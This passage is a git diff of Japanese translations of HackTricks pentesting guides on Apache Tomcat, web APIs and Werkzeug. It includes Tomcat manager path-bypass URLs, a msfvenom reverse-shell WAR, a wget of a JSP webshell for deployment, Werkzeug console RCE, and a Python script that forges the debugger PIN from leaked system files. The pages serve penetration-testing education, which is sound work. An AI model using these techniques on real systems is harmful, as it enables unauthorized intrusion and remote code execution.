には、情報開示やクロスサイトスクリプティング(XSS)攻撃に対して脆弱な例示スクリプトが含まれています。これらのスクリプトは、権限なしでのアクセスや潜在的な悪用をチェックする必要があります。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) +Apache Tomcat バージョン4.xから7.xには、情報開示やクロスサイトスクリプティング(XSS)攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限のないアクセスや潜在的な悪用をチェックするために、包括的にリストされています。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp @@ -113,17 +113,17 @@ Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロス 一部の[Tomcatの脆弱な構成](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、`/..;/` のパスを使用してTomcatの保護されたディレクトリにアクセスできます。 -例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、**Tomcatマネージャ**ページにアクセスできるかもしれません。 +したがって、例えば、次のようにアクセスすることで **Tomcatマネージャ** ページにアクセスできるかもしれません:`www.vulnerable.com/lalala/..;/manager/html` -このトリックを使用して保護されたパスをバイパスする**別の方法**は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。 +このトリックを使用して保護されたパスをバイパスする **別の方法** は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。 ## RCE -最後に、Tomcat Webアプリケーションマネージャにアクセスできる場合、**.warファイル(コードの実行)をアップロードおよび展開**できます。 +最後に、Tomcat Webアプリケーションマネージャにアクセスできる場合、 **.warファイルをアップロードおよび展開(コードを実行)** できます。 ### 制限事項 -WARを展開できるのは、**十分な権限(ロール: **admin**、**manager**、**manager-script**)を持っている場合に限ります。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](./#post)セクションを参照)。 +WARを展開できるのは、**十分な権限(ロール:** admin **、** manager **、** manager-script **)を持っている場合に限ります。これらの詳細は通常、`/usr/share/tomcat9/etc/tomcat-users.xml` に定義されています(バージョンによって異なります)([POST ](./#post)セクションを参照)。 ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed @@ -150,11 +150,13 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` -2. `revshell.war`ファイルをアップロードし、それにアクセスします (`/revshell/`): +2. `revshell.war`ファイルをアップロードして、それにアクセスします (`/revshell/`): ### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル -一部のシナリオではこれが機能しないことがあります (たとえばsunの古いバージョン) +一部のシナリオではこれが機能しないことがあります (たとえば古いバージョンのsun) + +#### ダウンロード ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` @@ -205,7 +207,7 @@ webshell.war is created ``` ### マニュアル方法2 -JSPウェブシェルを取得してWARファイルを作成します。例:[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) +JSPウェブシェルを取得し、[こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)のようなWARファイルを作成します。 ```bash wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp zip -r backup.war cmd.jsp @@ -240,12 +242,12 @@ msf> use post/windows/gather/enum_tomcat
-htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ +htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ こちら -* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセス**したいですか?または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけます * [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** +* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
diff --git a/network-services-pentesting/pentesting-web/web-api-pentesting.md b/network-services-pentesting/pentesting-web/web-api-pentesting.md index e5de3a873..8f7be72b7 100644 --- a/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,21 +2,21 @@
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングテクニックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
-
+
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %} @@ -25,31 +25,31 @@ HackTricks をサポートする他の方法: APIのペンテストには脆弱性を発見するための構造化されたアプローチが必要です。このガイドは包括的な方法論をまとめ、実践的な技術とツールを重視しています。 -### **APIの種類の理解** +### **APIタイプの理解** -* **SOAP/XML Webサービス**: 通常、`?wsdl`パスで見つかるドキュメントのためにWSDL形式を利用します。**SOAPUI**や**WSDLer**(Burp Suite拡張機能)などのツールは、解析やリクエストの生成に役立ちます。例として、[DNE Online](http://www.dneonline.com/calculator.asmx)でアクセス可能なドキュメントがあります。 -* **REST API(JSON)**: ドキュメントはしばしばWADLファイルで提供されますが、[Swagger UI](https://swagger.io/tools/swagger-ui/)などのツールは、よりユーザーフレンドリーなインターフェースを提供します。**Postman**は、例のリクエストの作成と管理に役立つ貴重なツールです。 +* **SOAP/XML Webサービス**: 通常は`?wsdl`パスで見つかるドキュメントのためにWSDL形式を利用します。**SOAPUI**や**WSDLer**(Burp Suite拡張機能)などのツールは、リクエストの解析や生成に役立ちます。例として、[DNE Online](http://www.dneonline.com/calculator.asmx)でアクセス可能なドキュメントがあります。 +* **REST API(JSON)**: ドキュメントはしばしばWADLファイルで提供されますが、[Swagger UI](https://swagger.io/tools/swagger-ui/)などのツールはよりユーザーフレンドリーなインターフェースを提供します。**Postman**は、例のリクエストの作成と管理に役立つ貴重なツールです。 * **GraphQL**: APIのデータの完全で理解しやすい説明を提供するAPI用のクエリ言語。 ### **練習用ラボ** -* [**VAmPI**](https://github.com/erev0s/VAmPI): OWASPトップ10 API脆弱性をカバーする実践的な脆弱なAPI。 +* [**VAmPI**](https://github.com/erev0s/VAmPI): OWASPトップ10 API脆弱性をカバーする実践的な脆弱性を持つAPI。 ### **API Pentestingの効果的なトリック** * **SOAP/XMLの脆弱性**: XXE脆弱性を調査しますが、DTD宣言は通常制限されています。XMLが有効であれば、CDATAタグを使用してペイロードを挿入できる場合があります。 * **特権昇格**: 権限レベルが異なるエンドポイントをテストして、未承認のアクセス可能性を特定します。 -* **CORSの誤構成**: 認証されたセッションからのCSRF攻撃を通じて潜在的な悪用可能性を調査するために、CORS設定を調査します。 -* **エンドポイントの発見**: APIパターンを活用して隠されたエンドポイントを発見します。ファジングツールを使用してこのプロセスを自動化できます。 -* **パラメータの改ざん**: リクエストにパラメータを追加または置換して、未承認のデータや機能にアクセスする実験を行います。 -* **HTTPメソッドのテスト**: リクエストメソッド(GET、POST、PUT、DELETE、PATCH)を変更して、予期しない動作や情報の開示を明らかにします。 +* **CORSの誤構成**: 認証されたセッションからのCSRF攻撃を介して潜在的な脆弱性を調査するために、CORS設定を調査します。 +* **エンドポイントの発見**: APIパターンを活用して隠されたエンドポイントを発見します。ファジングツールなどを使用してこのプロセスを自動化できます。 +* **パラメータの改ざん**: リクエストにパラメータを追加または置換して、未承認のデータや機能にアクセスしてみてください。 +* **HTTPメソッドのテスト**: リクエストメソッド(GET、POST、PUT、DELETE、PATCH)を変更して、予期しない動作や情報の漏洩を発見します。 * **Content-Typeの操作**: 異なるコンテンツタイプ(x-www-form-urlencoded、application/xml、application/json)に切り替えて、解析の問題や脆弱性をテストします。 -* **高度なパラメータテクニック**: JSONペイロードで予期しないデータ型をテストしたり、XXEインジェクションのためにXMLデータを操作したりします。また、パラメータポリューションやワイルドカード文字を使用して、より広範なテストを行います。 -* **バージョンのテスト**: 古いAPIバージョンは攻撃を受けやすい場合があります。常に複数のAPIバージョンを確認してテストしてください。 +* **高度なパラメータテクニック**: JSONペイロードで予期しないデータ型をテストしたり、XXEインジェクションのためにXMLデータを操作したりしてみてください。また、パラメータポリューションやワイルドカード文字を使用して、より広範なテストを行ってみてください。 +* **バージョンのテスト**: 古いAPIバージョンは攻撃に対してより脆弱かもしれません。常に複数のAPIバージョンを確認してテストしてください。 ### **API Pentestingのツールとリソース** -* [**kiterunner**](https://github.com/assetnote/kiterunner): APIエンドポイントを発見するのに優れています。対象のAPIに対してパスやパラメータをスキャンおよびブルートフォースするために使用します。 +* [**kiterunner**](https://github.com/assetnote/kiterunner): APIエンドポイントを発見するのに優れています。対象のAPIに対してパスやパラメータをスキャンおよびブルートフォースするために使用してください。 ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 @@ -61,32 +61,32 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ### **学習と実践リソース** -* **OWASP API Security Top 10**: 一般的なAPI脆弱性を理解するための必読書 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -* **API Security Checklist**: APIを保護するための包括的なチェックリスト ([GitHubリンク](https://github.com/shieldfy/API-Security-Checklist)). -* **Logger++ Filters**: API脆弱性を探すために、Logger++は便利なフィルターを提供しています ([GitHubリンク](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -* **API Endpoints List**: テスト目的のための潜在的なAPIエンドポイントの厳選リスト ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +* **OWASP API Security Top 10**: 一般的なAPI脆弱性を理解するための必読書 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf))。 +* **API Security Checklist**: APIを保護するための包括的なチェックリスト ([GitHubリンク](https://github.com/shieldfy/API-Security-Checklist))。 +* **Logger++ Filters**: API脆弱性を探すために、Logger++は便利なフィルターを提供しています ([GitHubリンク](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters))。 +* **API Endpoints List**: テスト目的のための潜在的なAPIエンドポイントの厳選リスト ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))。 ## 参考文献 * [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) -
+
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスしてください: +[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=web-api-pentesting)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %}
-**ゼロからヒーローまでのAWSハッキングを学ぶ** htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や、**PDF形式でHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、Twitterで**フォロー**してください 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/pentesting-web/werkzeug.md b/network-services-pentesting/pentesting-web/werkzeug.md index e5c4655d4..fdf1b6678 100644 --- a/network-services-pentesting/pentesting-web/werkzeug.md +++ b/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,73 +2,73 @@
-htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ +htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) で **フォロー** してください。 -* **ハッキングトリックを共有するには** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) で **フォロー** する。 +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出する。
-
+
-**脆弱性評価とペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発します。 +**どこからでも利用可能な脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成まで、20以上のツールと機能を使用して完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。 {% embed url="https://pentest-tools.com/" %} ## コンソールRCE -デバッグがアクティブな場合、`/console` にアクセスして RCE を取得しよう。 +デバッグが有効な場合、`/console` にアクセスして RCE を取得しよう。 ```python __import__('os').popen('whoami').read(); ``` -![](<../../.gitbook/assets/image (114).png>) +![](<../../.gitbook/assets/image (117).png>) -インターネット上には[これ](https://github.com/its-arun/Werkzeug-Debug-RCE)のような脆弱性がいくつか存在します。また、metasploitにも同様のものがあります。 +インターネット上には[これ](https://github.com/its-arun/Werkzeug-Debug-RCE)のような脆弱性がいくつか存在しています。また、metasploitにも同様のものがあります。 ## Pin Protected - パストラバーサル -場合によっては、**`/console`** エンドポイントが PIN で保護されることがあります。**ファイルトラバーサルの脆弱性**がある場合、その PIN を生成するために必要なすべての情報を漏洩させることができます。 +場合によっては、**`/console`** エンドポイントがPINで保護されることがあります。**ファイルトラバーサルの脆弱性**がある場合、そのPINを生成するために必要なすべての情報を漏洩させることができます。 ### Werkzeug Console PIN Exploit -アプリ内でデバッグエラーページを強制して、これを確認します: +アプリ内でデバッグエラーページを強制して、これを参照してください: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -### コンソールがロックされているシナリオに遭遇した場合、Werkzeugのデバッグインターフェースにアクセスしようとすると、「PINが必要」というメッセージが表示されます。コンソールのPINを悪用するためには、Werkzeugのデバッグ初期化ファイル(`__init__.py`)内のPIN生成アルゴリズムを解析することが提案されています。PIN生成メカニズムは[**Werkzeugソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)から調査できますが、潜在的なバージョンの不一致のため、実際のサーバーコードをファイルトラバーサルの脆弱性を利用して入手することが推奨されています。 +### コンソールがロックされている状況で Werkzeug のデバッグインターフェースにアクセスしようとすると、「PIN が必要」というメッセージが表示されます。コンソールの PIN を悪用するためには、Werkzeug のデバッグ初期化ファイル (`__init__.py`) での PIN 生成アルゴリズムを解析する必要があります。PIN 生成メカニズムは [**Werkzeug ソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) から調査できますが、潜在的なバージョンの不一致のため、実際のサーバーコードをファイルトラバーサルの脆弱性を利用して入手することが推奨されています。 -コンソールのPINを悪用するためには、`probably_public_bits`と`private_bits`の2つの変数セットが必要です: +コンソールの PIN を悪用するためには、`probably_public_bits` と `private_bits` の2つの変数セットが必要です: #### **`probably_public_bits`** -- **`username`**: Flaskセッションを開始したユーザーを指します。 -- **`modname`**: 通常は`flask.app`と指定されます。 -- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的には**Flask**に解決します。 -- **`getattr(mod, '__file__', None)`**: Flaskディレクトリ内の`app.py`への完全なパスを表します(例:`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py`が適用されない場合は、**`app.pyc`を試してください**。 +* **`username`**: Flask セッションを開始したユーザーを指します。 +* **`modname`**: 通常は `flask.app` と指定されます。 +* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的には **Flask** に解決します。 +* **`getattr(mod, '__file__', None)`**: Flask ディレクトリ内の `app.py` のフルパスを表します(例: `/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py` が適用されない場合は、**`app.pyc` を試してください**。 #### **`private_bits`** -- **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())`で10進数形式に変換します。 -- **サーバーのMACアドレスを特定**するには、アプリで使用されているアクティブなネットワークインターフェースを特定する必要があります(例:`ens3`)。不確実な場合は、デバイスIDを見つけるために**`/proc/net/arp`をリーク**し、その後**`/sys/class/net//address`**からMACアドレスを抽出します。 -- 16進数のMACアドレスを10進数に変換する方法は以下の通りです: +* **`uuid.getnode()`**: 現在のマシンの MAC アドレスを取得し、`str(uuid.getnode())` で 10 進数形式に変換します。 +* **サーバーの MAC アドレスを特定**するには、アプリで使用されているアクティブなネットワークインターフェースを特定する必要があります(例: `ens3`)。不確実な場合は、デバイス ID を見つけるために **`/proc/net/arp` をリーク**し、その後 **`/sys/class/net//address`** から MAC アドレスを抽出します。 +* 16 進数形式の MAC アドレスを 10 進数に変換する方法は以下の通りです: ```python -# 例:MACアドレス 56:00:02:7a:23:ac +# 例: MAC アドレス 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` -- **`get_machine_id()`**: `/etc/machine-id`または`/proc/sys/kernel/random/boot_id`からのデータと、`/proc/self/cgroup`の最後のスラッシュ(`/`)以降の最初の行からのデータを連結します。 +* **`get_machine_id()`**: `/etc/machine-id` または `/proc/sys/kernel/random/boot_id` からのデータを、`/proc/self/cgroup` の最後のスラッシュ (`/`) の後の最初の行と連結します。
-`get_machine_id()`のコード +`get_machine_id()` のコード ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id @@ -108,9 +108,9 @@ try: ```
-必要なすべてのデータをまとめた後、エクスプロイトスクリプトを実行してWerkzeugコンソールのPINを生成できます。 +必要なすべてのデータをまとめた後、脆弱性スクリプトを実行してWerkzeugコンソールのPINを生成できます。 -必要なすべてのデータをまとめた後、エクスプロイトスクリプトを実行してWerkzeugコンソールのPINを生成します。スクリプトは組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後さらなる処理を経て最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです: +必要なすべてのデータをまとめた後、脆弱性スクリプトを実行してWerkzeugコンソールのPINを生成します。スクリプトは組み立てられた`probably_public_bits`と`private_bits`を使用してハッシュを作成し、その後さらなる処理を経て最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです: ```python import hashlib from itertools import chain @@ -156,7 +156,7 @@ rv = num print(rv) ``` -このスクリプトは、ビットを連結してハッシュ化し、特定のソルト(`cookiesalt`と`pinsalt`)を追加し、出力をフォーマットしてPINを生成します。Werkzeugコンソールで期待されるPINと一致することを確認するために、`probably_public_bits`と`private_bits`の実際の値をターゲットシステムから正確に取得する必要があります。 +このスクリプトは、ビットを連結してハッシュ化し、特定のソルト(`cookiesalt`と`pinsalt`)を追加し、出力をフォーマットしてPINを生成します。実際の`probably_public_bits`と`private_bits`の値をターゲットシステムから正確に取得することが重要です。これにより、生成されたPINがWerkzeugコンソールで期待されるPINと一致することが確認されます。 {% hint style="success" %} Werkzeugの**古いバージョン**を使用している場合は、ハッシュアルゴリズムをsha1から**md5**に変更してみてください。 @@ -166,7 +166,7 @@ Werkzeugの**古いバージョン**を使用している場合は、ハッシ [**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字を含むリクエストを閉じません。そして[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これはCL.0リクエストスマグリングの脆弱性を引き起こす可能性があります。 -これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能で、サーバーを**破壊**することができます。ただし、HTTP接続がヘッダー**`Connection: keep-alive`**で作成された場合、リクエストの本文は読み取られず、接続はまだ開いたままになります。そのため、リクエストの**本文**は次のHTTPリクエストとして処理されます。 +これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能で、サーバーを**破壊**させることができます。ただし、HTTP接続がヘッダー**`Connection: keep-alive`**で作成された場合、リクエストの本文は読み取られず、接続は開いたままになります。そのため、リクエストの本文は**次のHTTPリクエスト**として処理されます。 ## 参考文献 @@ -175,9 +175,9 @@ Werkzeugの**古いバージョン**を使用している場合は、ハッシ * [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) * [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) -
+
-**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。レコンからレポート作成まで。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発します。 +**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成までの20以上のツールと機能を備えた完全なペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。 {% embed url="https://pentest-tools.com/" %} @@ -187,10 +187,10 @@ Werkzeugの**古いバージョン**を使用している場合は、ハッシ HackTricksをサポートする他の方法: -* **HackTricksのPDFをダウンロード**したり、**HackTricksを広告**してもらいたい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksの広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出することで、あなたのハッキングトリックを共有してください。 diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md index 26f055ac4..adf9605fb 100644 --- a/network-services-pentesting/pentesting-web/wordpress.md +++ b/network-services-pentesting/pentesting-web/wordpress.md @@ -4,28 +4,28 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい場合**は[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする -* **ハッキングトリックを共有するには、**[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks 